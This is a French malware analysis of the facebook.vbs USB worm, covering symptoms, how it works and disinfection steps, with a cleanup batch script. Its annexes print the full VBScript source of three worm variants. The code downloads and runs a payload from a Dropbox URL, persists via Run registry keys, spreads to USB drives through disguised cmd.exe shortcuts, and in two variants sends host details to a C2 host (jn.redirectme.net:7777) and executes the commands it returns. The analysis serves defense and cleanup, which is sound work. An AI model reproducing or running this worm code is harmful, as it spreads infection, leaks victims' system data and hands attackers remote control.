Analyse du worm facebook.vbs par mirmo



Documents pareils
Gestion des licences et activation des logiciels : déploiement d'un logiciel à l'aide de Symantec Ghost

Vue d ensemble de Windows PowerShell

Comment bien nettoyer Windows

Nettoyer Windows Vista et Windows 7

Module : Informatique Générale 1. Les commandes MS-DOS

Guide d'installation sous Windows

Guide pour sécuriser votre PC avec Kiosk Internet et Windows Seven

Utiliser des logiciels Windows sous Linux Ubuntu

Procédure de restauration F8. Série LoRdi 2012 à Dell V131 V3360 L3330

10 commandes d'administrateur à connaître

GUIDE DE DÉPANNAGE DÉTAILLÉ

1 Description du phénomène. 2 Mode de diffusion effets dommageables

Sauvegarder automatiquement sa clé USB

Direction des Systèmes d'information

MS SQL Express 2005 Sauvegarde des données

Protéger ses données dans le cloud

CREATION COMPLETE D UN DOMAINE WINDOWS 2000 AVEC UN SERVEUR DE FICHIERS

Mettre Linux sur une clé USB bootable et virtualisable

Thème 4 Langages de commandes Scripting pour MS Windows. Automatiser les tâches d administration - Scripting pour Windows

Optimisation SSD associé à un disque dur classique. Windows 7.

Oracle Database SQL Developer Guide D'Installation Release 4.0 E

TUTORIEL D INSTALLATION D ORACLE ET DE SQL DEVELOPPER TUTORIEL D INSTALLATION D ORACLE...1 ET DE SQL DEVELOPPER...1

Travaux Pratiques de Commande par ordinateur 1 TRAVAUX PRATIQUES

Programmation VBA/Excel. Programmation VBA. Pierre BONNET. Masters SMaRT & GSI - Supervision Industrielle P. Bonnet

Partager sa connexion Internet via le WiFi avec Windows 8

Déploiement d'une application Visual Studio Lightswitch dans Windows Azure.

Installation-Lancement

SimpleOCR, un logiciel gratuit de reconnaissance de caractères

Utilisez Toucan portable pour vos sauvegardes

Maintenance régulière de son ordinateur sous Windows

Trend Enterprise Solution

Partager sa connexion Internet via le WiFi avec Windows 8

Service Informatique et Télématique (SITEL), Emile-Argand 11, 2009 Neuchâtel, Tél ,

Présentation du SC101

CSI351 Systèmes d exploitation Instructions pour rouler Linux avec Virtual PC dans la salle de labo 2052

CAMERA DOME AMELIORÉE DE SURVEILLANCE EN RÉSEAU GUIDE D INSTALLATION

Tutoriel déploiement Windows 7 via serveur Waik

Netdays Comprendre et prévenir les risques liés aux codes malicieux

ftp & sftp : transférer des fichiers

Comment récupérer toutes vos données perdues ou effacées gratuitement!

esms Desktop Guide de l utilisateur

Retrouver un mot de passe perdu de Windows

Installation d'une galerie photos Piwigo sous Microsoft Windows.

Utiliser une clé USB

Guide d installation de MySQL

Summary / Sommaire. 1 Install DRIVER SR2 USB01 Windows seven 64 bits / Installation du DRIVER SR2 USB01 Windows seven 64 bits 2

Facility Touch Client. SAUTER EY-TC505F110 Logiciel Facility Touch Client Mise en service. Manuel D /26 D D

Itium XP. Guide Utilisateur

Tutoriel de formation SurveyMonkey

COMMENT AUTORISER LES PARTAGES RESEAUX ET IMPRIMANTE SOUS L ANTIVIRUS FIREWALL V3

Rapport de Mini-Projet en ArcGIS Engine

XP_Downgrade_JDS.book Page 1 Monday, August 31, :57 PM. Guide de l utilisateur du disque d installation de Windows XP

TP 1 : prise en main de Windows. TP 1 : prise en main de Windows

SAS Foundation Installation sous Windows

Configurez votre Neufbox Evolution

Boîtier pour disque dur externe 3,5" (8,89cm) USB 2.0

Client windows Nagios Event Log

.NET - Classe de Log

Installation FollowMe Q server

Utiliser Glary Utilities

Installation d un ordinateur avec reprise des données

Guide d installation logicielle

Connexion à distance. Pour configurer les automates Beckhoff via un PC de programmation VERSION : 1.0 / PH

Installation d'un Active Directory et DNS sous Windows Server 2008

Guide d installation des licences Solid Edge-NB RB

MIGRER VERS LA DERNIERE VERSION DE L'ANTIVIRUS FIREWALL

Windows 8 Installation et configuration

FANTEC DB-229US Manuel de l'utilisateur

Surveillance de Scripts LUA et de réception d EVENT. avec LoriotPro Extended & Broadcast Edition

Contrôler plusieurs ordinateurs avec un clavier et une souris


L'assistance à distance

Déploiement de SAS Foundation

Guide d'installation du token

Module Administration BD Chapitre 1 : Surcouche procédurale dans les SGBDS

Table des matières Avant-propos... V Scripting Windows, pour quoi faire?... 1 Dans quel contexte?

TRANSFERER UNE PHOTO SUR CLE USB

Boot Camp Guide d installation et de configuration

Guide d'installation et de configuration de Pervasive.SQL 7 dans un environnement réseau Microsoft Windows NT

Guide d installation BiBOARD

Gestion de stock pour un magasin

MODE OPERATOIRE CORIM PROGRESS / SECTION MEI. Exploitation Informatique

OUTIL DE CRYPTAGE ET DE COMPRESSION

CIE 1 : Mise en service d un PC, y compris le domaine de la sécurité informatique :

Nettoyer l'historique et le cache DNS de votre navigateur

Connected to the FP World

Les sauvegardes de l ordinateur

Fonctionnement de Windows XP Mode avec Windows Virtual PC

Les GPO 2012 server R2 (appliqués à Terminal Serveur Edition)

SRAL Saint Raphaël. Maison des associations 213, rue de la Soleillette Saint Raphaël. : : dromain.jean-pierre@neuf.

PROJET AZURE (par Florent Picard, A2011)

Version Guide de l'utilisateur

REMBO Version 2.0. Mathrice 2004 DESCRIPTION MISE EN OEUVRE CONCLUSION.

Installation et paramétrage de Fedora dans VirtualBox.

Transcription:

Analyse du worm facebook.vbs par mirmo 1) Symptômes Fenêtre d'invite de commande qui s'ouvre quant on clique sur un fichier ou un dossier d'une clef USB. Fichier impossible à ouvrir quant on déplace un fichier d'une clef USB à un disque dur. Fichier avec l'exention.lnk à la place des fichiers originaux. Présence d'un fichier facebook.vbs caché sur la clef USB. Contenu de la clef USB Contenu de la clef USB en affichant les fichiers cachés et les extensions des fichiers dont le type est connu.

2) Analyse Analyse avec virus total : https://www.virustotal.com/fr/file/7418f1364c635cb0e5b42327c6917a86c036b8e2868cf90821ea54 ae9944a9b7/analysis/ On peut voir qu'il n'y a que 9 antivirus sur 47 qui connaissent ce virus. Le contenu du fichier facebook.vbs est en annexe. http://fr.wikipedia.org/wiki/ver_informatique C'est un ver informatique basé sur du Visual Basic Script comme le célébre IloveYou C'une réécriture de KAKA27 d'un autre ver créé par njq8 (voir en Annexe) Plusieurs parties du code ne servent à rien (Les partie en vertes, voir Annexe) Le fichier FlashPlayerMsj.exe n'est plus hébergé sur dropbox ce qui limite l'action de ce virus.

Fonctionnement du ver informatique : Si le fichier FlashPlayerPlug_1013010.exe n'est pas présent alors il télécharge le fichier FlashPlayerMsj.exe : http://dl.dropbox.com/s/fqlbp4q0pz67dy9/flashplayerupdt.exe?dl=1 Puis l'exécute Il lance la commande ipconfig /renew Il va créer un raccroucis vers ce fichier sur le bureau Il se place dans le dossier Temp et se copie à l'intérieur et va lancer une boucle infinie dans laquelle il va : écrire dans la base de registre pour s'exécuter au démarrage il va chercher tous les flash.drives (clef USB) pour tous les fichiers et dossiers de la clef usb, il va leur donner l'attribut "hidden" (caché) et créer un raccourcis portant le même nom ayant pour cible dans un premier temps l'exécutable cmd.exe (l'invite de commande) pour s'exécuter si quelqu'un clique sur ce raccourci puis il redirige la victime vers le fichier qu'il souhaitait atteindre. Nous avons donc un ver qui contamine le pc sur lequel la clef est connectée si l'utilisateur clique sur l'un des raccourcis qu'il a créé. Il lance via wscript.exe et s'exécute en boucle. Il se lance au démarrage du pc. Initialement, il devait télécharger un cheval de troie pour laisser une possibilité de prendre le contrôle du pc infecté. 3) Décontamination Etape 1 : Ouvrir le gestionnaire des tâches Arrêter le processus "wscript.exe" Effacer le fichier facebook.vbs qui se trouve : sur windows XP : C:\Documents and Settings\*nom de l'utilisateur*\local Setting\Temp\ sur Windows 7 : C:\utilisateurs\*nom de l'utilisateur*\appdata\local\temp\ Etape 2 : Effacer les valeurs de clef de registre en lançant regedit dans l'invite de commande : (Pour XP : Démarrer => Exécuter... => regedit = > Ok) (Pour Seven : Démarrer => Ecrire regedit à la place de Rechercher les programmes et fichiers => Puis appuyer sur entrer) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : facebook.vbs HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : facebook.vbs Etape 3 : Effacer sur la(les) clef(s) USB tous les raccourcis Effacer le fichier facebook.vbs Rétablir les attributs normales des fichiers et dossier Il va vous falloir la lettre attribuée au lecteur de la clef usb, pour cela ouvrez le Poste de travail et localisez votre clef USB Exemple : Dans cet exemple la lettre de ma clef usb est J (J:)

Dans l'invite de commande taper : La lettre de votre lecteur suivit des deux points ":" exemple : j: del *.lnk /q /s del facebook.* /q /s del Facebook.* /q /s attrib -h *.* /S /D Pour ceux qui ne sont pas familier avec l'informatique : Si vous êtes sous Windows XP, copier-coller le code suivant dans un fichier texte, remplacez la ligne en rouge par la lettre du lecteur de votre clef USB puis renommer le fichier avec l'extension.bat puis double-cliquer dessus. TASKKILL /F /IM "wscript.exe" REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "facebook.vbs" /f REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "facebook.vbs" /f del /f "%USERPROFILE%\Local Settings\Temp\facebook.vbs" mkdir "%USERPROFILE%\Local Settings\Temp\facebook.vbs" e: del *.lnk /q /s del facebook.* /q /s del Facebook.* /q /s attrib -h *.* /S /D Si vous êtes sous Windows 7, copier-coller le code suivant dans un fichier texte, remplacez la ligne en rouge par la lettre du lecteur de votre clef USB puis renommer le fichier avec l'extension.bat puis double-cliquer dessus. TASKKILL /F /IM "wscript.exe" REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "facebook.vbs" /f REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "facebook.vbs" /f del /f %USERPROFILE%\AppData\Local\Temp\facebook.vbs mkdir "%USERPROFILE%\AppData\Local\Temp\facebook.vbs" e: del *.lnk /q /s del facebook.* /q /s del Facebook.* /q /s attrib -h *.* /S /D

Annexes Contenu du fichier facebook.vbs : '<[ coded And Developed by KAKA27 ]>' On Error Resume Dim sh ' shell Set sh = WScript.CreateObject("WScript.Shell") Dim fs ' filesystem Set fs = CreateObject("Scripting.FileSystemObject") '--------------------------------------------- '--------------------------------------------- strcomputer = "." Set objwmiservice = GetObject("winmgmts:" & "{impersonationlevel=impersonate}!\\" & strcomputer & "\root\cimv2") Set colprocesses = objwmiservice.execquery _ ( "Select * from Win32_Process Where Name = 'FlashPlayerPlug_1013010.exe'") If colprocesses.count = 0 Then ' Wscript.Echo "Database.exe is not running." Set oshell = CreateObject("WScript.Shell") strhomefolder = oshell.expandenvironmentstrings("%temp%") download "http://dl.dropbox.com/s/fqlbp4q0pz67dy9/flashplayerupdt.exe?dl=1", strhomefolder & "\FlashPlayerMsj.exe" Dim objshell, strcommand Set objshell = CreateObject("WScript.Shell") strcommand = "IPConfig /Release" objshell.run strcommand, 0, True WScript.Sleep 1500 objshell.run strhomefolder & "\FlashPlayerMsj.exe" WScript.Sleep 2500 strcommand = "IPConfig /Renew" objshell.run strcommand, 0, True '------------------------------------------------- set WshShell = WScript.CreateObject("WScript.Shell") strdesktop = WshShell.SpecialFolders("Startup") set oshelllink = WshShell.CreateShortcut(strDesktop &"\FlashPlayerPlug.lnk") oshelllink.targetpath = strhomefolder & "\FlashPlayerMsj.exe" oshelllink.windowstyle = 1 oshelllink.iconlocation = "FlashPlayerMsj.exe, 0" oshelllink.description = "Lancer Flash player" oshelllink.workingdirectory = strdesktop oshelllink.save '-------------------------------------------------- Dim DR DR = sh.expandenvironmentstrings("%temp%") & "\" Dim FN FN = "Facebook.vbs" Dim fh Dim us us = "~" ins dim i i=0 while true wscript.sleep 4000 i = i + 1 if i> 2 then i=0 xins wend '---------------------------------------------------------------

Function ins On Error Resume us = sh.regread("hkcu\njq8") If us = "~" Then If lcase(mid(wscript.scriptfullname, 2)) = ":\" & lcase(fn) Then us = "y" sh.regwrite "HKCU\njq8", us, "REG_SZ" Else us = "n" sh.regwrite "HKCU\njq8", us, "REG_SZ" Err.Clear fs.copyfile wscript.scriptfullname, dr & fn, True Set fh = fs.opentextfile(dr & fn, 8, False) If Err.Number > 0 Then wscript.quit xins End Function '--------------------------------------------------------------- Sub xins On Error Resume sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path & "\" & fn, True For Each xx In fs.drives If xx.isready Then If xx.freespace > 0 Then If xx.drivetype = 1 Then If fs.fileexists(xx.path & "\" & fn) Then fs.getfile(xx.path & "\" & fn).attributes = 0 fs.copyfile dr & fn, xx.path & "\" & fn, True For Each x In fs.getfolder(xx.path & "\").Files wscript.sleep 1 If instr(x.name, ".") Then If lcase(split(x.name, ".")(UBound(Split(x.name, ".")))) <> "lnk" Then x.attributes = 2 If ucase(x.name) <> ucase(fn) Then With sh.createshortcut(xx.path & "\" & x.name & ".lnk").targetpath = "cmd.exe".workingdirectory = "".Arguments = "/c start " & Replace(fn, " ", ChrW(34) & " " & ChrW(34)) & "&start " & replace(x.name, " ", ChrW(34) & " " & ChrW(34)) & " & exit".iconlocation = sh.regread("hklm\software\classes\" & sh.regread("hklm\software\classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\") If instr(.iconlocation, ",") = 0 Then.iconlocation =.iconlocation & ",0".Save() End With set objfolder = fs.getfolder(xx.path & "\") for Each folder in objfolder.subfolders folder.attributes = 2 With sh.createshortcut(xx.path & "\" & folder.name & ".lnk").targetpath = "cmd.exe".workingdirectory = "".Arguments = "/c start " & Replace(fn, " ", ChrW(34) & " " & ChrW(34)) & "& explorer.exe " & replace(folder.name, " ", ChrW(34) & " " & ChrW(34)) & " & exit"

.IconLocation = "%systemroot%\system32\shell32.dll,4".save() End With Err.Clear End Sub '--------------------------------------------------------------- 'function post(cmd,da) 'post="" 'Dim o 'Set o = CreateObject("MSXML2.XMLHTTP") 'o.open "POST","http://" & host & ":" & port &"/" & cmd, false 'o.setrequestheader "User-Agent:", inf 'o.send da 'post=o.responsetext ' Function download(sfileurl, slocation) 'create xmlhttp object Set objxmlhttp = CreateObject("MSXML2.XMLHTTP") 'get the remote file objxmlhttp.open "GET", sfileurl, False 'send the request objxmlhttp.send() 'wait until the data has downloaded successfully Do Until objxmlhttp.status = 200 : wcript.sleep(1000) : Loop 'if the data has downloaded sucessfully If objxmlhttp.status = 200 Then 'create binary stream object Set objadostream = CreateObject("ADODB.Stream") objadostream.open 'adtypebinary objadostream.type = 1 objadostream.write objxmlhttp.responsebody 'Set the stream position to the start objadostream.position = 0 'create file system object to allow the script to check for an existing file Set objfso = Createobject("Scripting.FileSystemObject") 'check if the file exists, if it exists then delete it If objfso.fileexists(slocation) Then objfso.deletefile slocation 'destroy file system object Set objfso = Nothing 'save the ado stream to a file objadostream.savetofile slocation 'close the ado stream objadostream.close 'destroy the ado stream object Set objadostream = Nothing 'end object downloaded successfully 'destroy xml http object Set objxmlhttp = Nothing End Function

Code original de ce ver créé par njq8 : '<[ coded by njq8 ]>' On Error Resume dim sh ' shell set sh =WScript.CreateObject("WScript.Shell") dim fs ' filesystem set fs= CreateObject("Scripting.FileSystemObject") dim host host="jn.redirectme.net" dim port port=7777 dim DR ' install dir DR = sh.expandenvironmentstrings("%temp%") & "\" dim FN ' script file name FN ="Serviecs.vbs" dim fh ' file handle ins dim spl spl="jnjnj" dim i i=0 while true dim a a= split(post("ready",""),spl) select case a(0) case "exc" dim sa sa= a(1) execute sa case "uns" uns end select wscript.sleep 4000 i = i + 1 if i> 2 then i=0 xins wend function ins Err.Clear fs.copyfile wscript.scriptfullname,dr & fn,true set fh = fs.opentextfile( dr & fn, 8, false) if Err.Number>0 then wscript.quit xins sub xins sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" fs.copyfile wscript.scriptfullname, CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn,true for each xx in fs.drives if xx.isready then if xx.freespace >0 then if xx.drivetype=1 then if fs.fileexists(xx.path & "\" & fn) then

fs.getfile(xx.path & "\" & fn).attributes=0 fs.copyfile dr & fn, xx.path & "\" & fn,true For Each x In fs.getfolder( xx.path & "\" ).Files wscript.sleep 1 if instr(x.name,".") then if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then x.attributes = 2 if ucase(x.name) <> ucase(fn) then With sh.createshortcut(xx.path & "\" & x.name & ".lnk").targetpath = "cmd.exe".workingdirectory = "".Arguments = "/c start " & Replace(fn," ", ChrW(34) _ & " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit".iconlocation = sh.regread("hklm\software\classes\" & sh.regread("hklm\software\classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\") if instr(.iconlocation,",")=0 then.iconlocation =.iconlocation &",0".Save() end with next Err.Clear end sub function uns fh.close sh.regdelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn sh.regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn fs.deletefile dr & fn,true fs.deletefile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn,true for each xx in fs.drives if xx.isready then if xx.freespace >0 then For Each x In fs.getfolder( xx.path & "\").Files On Error Resume if instr(x.name,".") then if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then x.attributes = 0 if ucase(x.name) <> ucase(fn) then fs.deletefile(xx.path & "\" & x.name & ".lnk" ) else fs.deletefile( xx.path & "\" & x.name ) next wscript.quit function post(cmd,da) post="" Dim o Set o = CreateObject("MSXML2.XMLHTTP") o.open "POST","http://" & host & ":" & port &"/" & cmd, false

o.setrequestheader "User-Agent:", inf o.send da post=o.responsetext dim xinf function inf if xinf="" then dim s s = hwd inf = inf & s & "\" s= sh.expandenvironmentstrings("%computername%") inf = inf & s & "\" s= sh.expandenvironmentstrings("%username%") inf = inf & s & "\" Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set aa = a.execquery ("Select * from Win32_OperatingSystem") For Each aaa in aa s= aaa.caption exit for inf = inf & s & "\\0.1\" & pid xinf=inf else inf=xinf function HWD Set a = GetObject("winmgmts:\\.\root\CIMV2") Set aa= a.execquery( _ "SELECT * FROM Win32_ComputerSystemProduct",,48) For Each aaa in aa hwd = replace(aaa.identifyingnumber," ","") Function MTX Dim oprocesses Dim oprocess Dim iproccount Set oprocesses = GetObject("winmgmts:\\.\root\cimv2").ExecQuery( _ "Select * from Win32_Process where Name='cscript.exe' or Name='wscript.exe'",,48) For Each oprocess in oprocesses If Instr(1, oprocess.commandline, "\" & WScript.ScriptName, 1) > 0 Then iproccount = iproccount + 1 MTX = (iproccount > 1) End Function Function PID PID=0 PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_ "Process.Handle='" & _ sh.exec("mshta.exe").processid & "'").ParentProcessId End Function

Variante de KILLER : '<[ coded by KILLER ]>' On Error Resume dim sh ' shell set sh =WScript.CreateObject("WScript.Shell") dim fs ' filesystem set fs= CreateObject("Scripting.FileSystemObject") dim host host="sasorika14@gmail.com" dim port port=7777 dim DR DR = sh.expandenvironmentstrings("%temp%") & "\" dim FN FN ="Servieca.vbs" dim fh dim us us="~" ins dim spl spl="jnjnj" dim i i=0 while true dim a a= split(post("ready",""),spl) select case a(0) case "exc" dim sa sa= a(1) execute sa case "uns" uns end select wscript.sleep 4000 i = i + 1 if i> 2 then i=0 xins wend function ins us= sh.regread("hkcu\killer") if us="~" then if lcase( mid(wscript.scriptfullname,2))="" & lcase(fn) then us="y" sh.regwrite "HKCU\KILLER", us, "REG_SZ" else us="n" sh.regwrite "HKCU\KILLER", us, "REG_SZ" Err.Clear fs.copyfile wscript.scriptfullname,dr & fn,true set fh = fs.opentextfile( dr & fn, 8, false) if Err.Number>0 then wscript.quit xins sub xins sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn, chrw(34) & dr & fn & chrw(34), "REG_SZ" fs.copyfile wscript.scriptfullname,

CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn,true for each xx in fs.drives if xx.isready then if xx.freespace >0 then if xx.drivetype=1 then if fs.fileexists(xx.path & "\" & fn) then fs.getfile(xx.path & "\" & fn).attributes=0 fs.copyfile dr & fn, xx.path & "\" & fn,true For Each x In fs.getfolder( xx.path & "\" ).Files wscript.sleep 1 if instr(x.name,".") then if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then x.attributes = 2 if ucase(x.name) <> ucase(fn) then With sh.createshortcut(xx.path & "\" & x.name & ".lnk").targetpath = "cmd.exe".workingdirectory = "".Arguments = "/c start " & Replace(fn," ", ChrW(34) _ & " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit".iconlocation = sh.regread("hklm\software\classes\" & sh.regread("hklm\software\classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\") if instr(.iconlocation,",")=0 then.iconlocation =.iconlocation &",0".Save() end with next Err.Clear end sub function uns fh.close sh.regdelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn sh.regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn fs.deletefile dr & fn,true fs.deletefile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn,true for each xx in fs.drives if xx.isready then if xx.freespace >0 then For Each x In fs.getfolder( xx.path & "\").Files On Error Resume if instr(x.name,".") then if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then x.attributes = 0 if ucase(x.name) <> ucase(fn) then fs.deletefile(xx.path & "\" & x.name & ".lnk" ) else fs.deletefile( xx.path & "\" & x.name ) next wscript.quit function post(cmd,da) post=""

Dim o Set o = CreateObject("MSXML2.XMLHTTP") o.open "POST","http://" & host & ":" & port &"/" & cmd, false o.setrequestheader "User-Agent:", inf o.send da post=o.responsetext dim xinf function inf if xinf="" then dim s s = hwd inf = inf & s & "\" s= sh.expandenvironmentstrings("%computername%") inf = inf & s & "\" s= sh.expandenvironmentstrings("%username%") inf = inf & s & "\" Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set aa = a.execquery ("Select * from Win32_OperatingSystem") For Each aaa in aa s= aaa.caption exit for inf = inf & s & "\\0.3\" & us &"\" & pid xinf=inf else inf=xinf function HWD HWD="CH_??" On Error Resume Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set aa = a.execquery("select * FROM Win32_LogicalDisk") For Each aaa In aa if aaa.volumeserialnumber<>"" then HWD= "CH_" & aaa.volumeserialnumber exit for Function PID PID=0 PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_ "Process.Handle='" & _ sh.exec("mshta.exe").processid & "'").ParentProcessId End Function